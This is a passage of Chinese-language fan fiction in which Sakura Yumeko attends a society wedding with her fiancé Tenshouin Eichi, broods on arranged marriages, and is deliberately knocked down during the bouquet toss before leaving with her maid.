她看着新娘眼中闪烁的泪光,却不由自主地去想,那其中有多少是激动,有多少是表演?她听着新郎掷地有声的誓言,却忍不住去揣测,那承诺背后,是否也掺杂着家族的压力、利益的考量?
(就像我和英智一样……)
(在别人眼里,我们也是般配的“未婚夫妻”吧?)
(可实际上呢?)
她微微侧头,用眼角的余光瞥了一眼身旁的天祥院英智。他正专注地望着仪式台,侧脸线条优美,神情温和而专注,仿佛完全沉浸在这份喜悦之中。但梦子知道,他那双碧蓝眼眸深处,此刻恐怕正在冷静地分析着这场婚礼所能带来的政治效应、人脉巩固,以及两个家族未来合作的无限可能。
(真心相爱?)
(在这种圈子里,这个词是多么奢侈又天真啊。)
一股莫名的讽刺感涌上心头。她自己身处一个由利益编织的婚约中,却在这里旁观另一场可能内核相似的结合,并试图从中寻找“真爱”的证据。这让她感到一种深深的无力感。
演讲人的声音愈发激昂,讲述着两人冲破“重重阻碍”最终在一起的决心。梦子却在心里冷笑:(所谓的阻碍,恐怕更多的是家族内部的博弈和权衡吧?)
当新郎为新娘戴上那枚璀璨的钻戒时,全场响起了热烈的掌声。梦子也跟着拍手,脸上带着得体的微笑,但眼神却有些飘忽。
(那戒指,锁住的究竟是爱情,还是两个家族的联盟?)
(他们私下里,会不会也像我和英智一样,互相嘲讽、彼此厌烦,却又不得不捆绑在一起?)
露桉敏锐地察觉到了大小姐那一瞬间的走神和眼底闪过的复杂情绪,但她什么也没说,只是如同最沉静的影子,守护着这份无人能诉的思绪。
天祥院英智似乎也感受到了身旁人的心不在焉,他微微偏过头,用只有两人能听到的音量,带着他那特有的、令人捉摸不透的笑意低语:
“怎么?被这‘神圣’的场景感动了?还是在计算那枚戒指的克拉数和背后代表的股权?”
梦子猛地回神,瞪了他一眼,将心中那点不合时宜的感伤迅速压了下去,换上了惯常的挑衅表情:
“哼,我在想,等我们‘结婚’的时候,场面一定比这个更浮夸,更虚伪。想想就让人觉得恶心。”
英智不置可否地笑了笑,重新将目光投向仪式台,轻声道:“或许吧。但这就是我们的世界,梦子小姐。”
婚礼在万众瞩目和祝福中继续进行,热闹而完美。而梦子坐在一片欢声笑语里,内心却一片清明。她看清了这华美盛宴下的实质,也更加坚定了自己的想法——
无论外界如何,她至少要守护住自己内心那片不愿被利益玷污的、属于“真实”的领地。哪怕那片领地,目前只存在于二次元、游戏,以及她和Knights那群问题儿童之间,混乱却真挚的羁绊之中。
绣球下的屈辱与隐忍
婚礼进行到了抛绣球的环节,气氛被推向了另一个高潮。所有未婚的年轻男女们都嬉笑着聚集到了场地中央,带着几分期待与玩笑,准备迎接这份象征祝福与缘分的彩头。
梦子原本只是站在外围,带着一丝事不关己的旁观心态看着这场热闹。她甚至悄悄往后缩了缩,试图让自己更不起眼些。然而,手持绣球的新娘目光在人群中逡巡,很快就锁定了她——佐仓梦子,这位鲜少在贵族社交圈频繁露面,却因其家世和与天祥院家的婚约而备受瞩目的少女,此刻在人群中显得格外清丽夺目。
新娘对她友善地笑了笑,似乎在众多熟悉的面孔中,对这个有些“特别”的女孩产生了兴趣。她手臂一扬,那束精美的绣球便划出一道弧线,精准地朝着梦子的方向飞来!
梦子完全没料到这一出,脸上瞬间写满了错愕与茫然(“诶?!怎么是我?!”)。她下意识地就想后退躲开。
就在此时,身旁一个穿着鹅黄色礼裙、身影灵动的贵族小姐似乎也是为了接绣球,脚步一个“踉跄”(或许是有意,或许是真巧合),重重地撞在了梦子的侧后方!
“啊!”梦子猝不及防,脚下一滑,身体瞬间失去平衡,狼狈地向前扑倒。膝盖和手肘率先着地,传来一阵尖锐的疼痛。而那只本该飞过她头顶的绣球,不偏不倚,“啪”地一下,直接砸在了她摔倒在地的背上,然后滚落一旁。
场面瞬间有些混乱。
“哎呀!对不起对不起!我不是故意的!”撞倒她的那位小姐连忙惊呼,伸手想要搀扶,脸上带着看似真诚的歉意,但眼底深处,却飞快地掠过一丝难以察觉的得意。
梦子疼得倒吸一口凉气,眼眶瞬间就红了,一半是疼的,一半是气的。她抬起头,看清了撞倒她的人——是她认识的一张面孔,一位家里与她父亲生意往来密切、备受宠爱的富家千金。
(是她!)
一股怒火猛地窜上心头,烧得她五脏六腑都疼。她恨不得立刻站起来,将那只砸在她背上的绣球狠狠扔回去,再揪住对方的衣领质问。
可是……她不能。
她清楚地知道对方的身份,知道她父亲与佐仓家的合作关系。在这种公开场合,众目睽睽之下,她代表的是佐仓家的脸面。如果她当场失态,对这位小姐发难,不仅会显得自己小家子气,更可能影响到父亲那边的生意关系。
她死死咬住下唇,将几乎要冲口而出的斥责和眼泪硬生生逼了回去。手指紧紧攥住了身下的地毯,指节泛白。
露桉第一时间就冲了过来,迅速而沉稳地单膝跪地,扶住梦子的肩膀,低声询问:“大小姐,严重吗?” 她的眼神冰冷地扫过那位肇事的小姐,带着无形的压力。
天祥院英智也快步走了过来,他先是看了一眼地上的梦子,眉头微蹙,随即目光落在那位鹅黄色裙子的小姐身上,虽然脸上依旧挂着温和的笑容,但眼神却淡了几分。
“看来这位小姐有些过于‘热情’了。”他语气平淡,听不出喜怒,却让那位千金脸上的笑容僵了一下。
梦子在露桉的搀扶下,勉强站起身。她拍了拍裙子上的灰尘,忍着膝盖的疼痛,对那位撞倒她的千金,挤出一个极其艰难、甚至有些扭曲的笑容,从牙缝里挤出声音:
“没、关、系。我知道……你不是故意的。”是有意的。
每一个字,都像是带着血沫。
她甚至弯腰,捡起了那只滚落在地的绣球,塞回了对方手里,动作快得几乎像是扔掉什么烫手山芋。
“这份‘好运’,还是留给更需要的淑女吧。”
说完,她不再看对方一眼,紧紧抓着露桉的手臂,借力站稳,低声对露桉和英智说:“我们走。”
她挺直脊背,尽量让自己的步伐看起来正常,在众人各异的目光中,一步步离开这令人难堪的漩涡中心。背后的疼痛和内心的屈辱如同火焰般灼烧着她,但她知道,她必须忍下去。
这份隐忍,并非软弱,而是身处这个圈子不得不掌握的、另一种形式的“战斗”。只是这口气,她佐仓梦子,算是彻底记下了。那位千金恐怕还不知道,自己招惹了一个多么“记仇”且“手段多样”的对手。
余波与“交代”
梦子被露桉和英智一左一右几乎是半护着离开了人群中心,膝盖和手肘的疼痛一阵阵传来,但更让她难受的是胸腔里那股几乎要炸开的憋闷和屈辱。她死死咬着牙,才没让那些不雅观的咒骂脱口而出。
(我就知道!我就知道!)
(这种该死的场合就不该来!)
(在家里打游戏不香吗?新番不追吗?非要来这里受这种窝囊气!)
她内心的小人正在疯狂咆哮,恨不得立刻掏出手机钻进提瓦特大陆砍几百个海乱鬼泄愤。什么贵族礼仪,什么社交体面,在真实的疼痛和愤怒面前,显得如此虚伪可笑。
新婚夫妇显然也注意到了这边的骚动。新娘脸上的喜悦被担忧取代,新郎更是立刻快步走了过来。他们原本还计划着等仪式环节结束后,邀请这位身份特殊、又难得一见的佐仓大小姐合影,甚至进行一些友好的互动,这无论是对他们自身,还是对两个家族的对外形象都大有裨益。
然而,看到梦子明显强忍疼痛的表情、微微凌乱的发丝,以及旁边天祥院英智那虽然温和却暗含疏离的眼神,还有那位女仆冰冷审视的目光,他们心里顿时“咯噔”一下。
(坏了!)
“佐仓小姐,您没事吧?这真是太抱歉了!”新郎连忙上前,语气充满了真诚的(至少听起来是)歉意,“没想到会发生这样的意外……”
新娘也提着裙摆走过来,想要伸手搀扶,又有些无措:“梦子小姐,真是对不起,我……我不是故意的……”她指的是扔绣球的事,眼神里带着懊恼。
梦子深吸一口气,强行压下所有情绪,扯出一个极其勉强、甚至有些难看的笑容:“没、事。一点小意外而已,不劳二位费心。”
她刻意加重了“意外”两个字,目光却冷冷地扫过不远处那个正被自家长辈低声训斥的鹅黄裙子千金。
新婚夫妇都是人精,立刻明白了这绝非简单的“意外”。佐仓家的大小姐在他们的婚礼上受了伤,还是以这种近乎羞辱的方式,这要是处理不好,别说结交了,恐怕还会平白得罪佐仓和天祥院两家。
“这怎么能是小事!”新郎立刻正色道,转身对身边的管家低声迅速吩咐了几句,然后对梦子和英智郑重说道:“我们已经安排了休息室,请佐仓小姐务必先去检查一下伤势,我们会请最好的医生过来。今天发生这样不愉快的事情,我们深感愧疚,一定会给佐仓家一个满意的交代。”
这话既是关心,也是表态。他们必须立刻、明确地表明立场,撇清关系,并将“肇事者”推出去,以平息佐仓家的怒火。
梦子现在根本没心情听这些,她只想立刻离开这个让她窒息的地方。她拉了拉露桉的衣袖,低声道:“露桉,我想回去了。”
“是,大小姐。”露桉立刻应道,同时用眼神制止了还想继续表达歉意的新郎新娘,语气平静却不容置疑:“感谢二位的关心,后续事宜,佐仓家会派专人与贵府沟通。现在,大小姐需要休息。”
天祥院英智也适时开口,语气依旧温和,却带着无形的压力:“希望贵府能妥善处理,避免不必要的……流言蜚语。”
新婚夫妇连连点头,不敢再多言,只能眼睁睁看着露桉和英智护着梦子,如同护卫着易碎的珍宝般,迅速而低调地离开了婚礼现场。
原本计划中与佐仓大小姐拉近关系的环节彻底泡汤,还惹上了一身骚。新郎看着那鹅黄裙子千金的方向,脸色阴沉。这场婚礼带来的,除了表面的喜庆,恐怕还有需要他们花费不少精力去弥补的麻烦了。
而梦子坐在回程的车上,看着窗外飞速倒退的夜景,揉着依旧发痛的膝盖,心里只有一个念头:
(以后这种破事儿,谁爱去谁去!本小姐再也不奉陪了!)

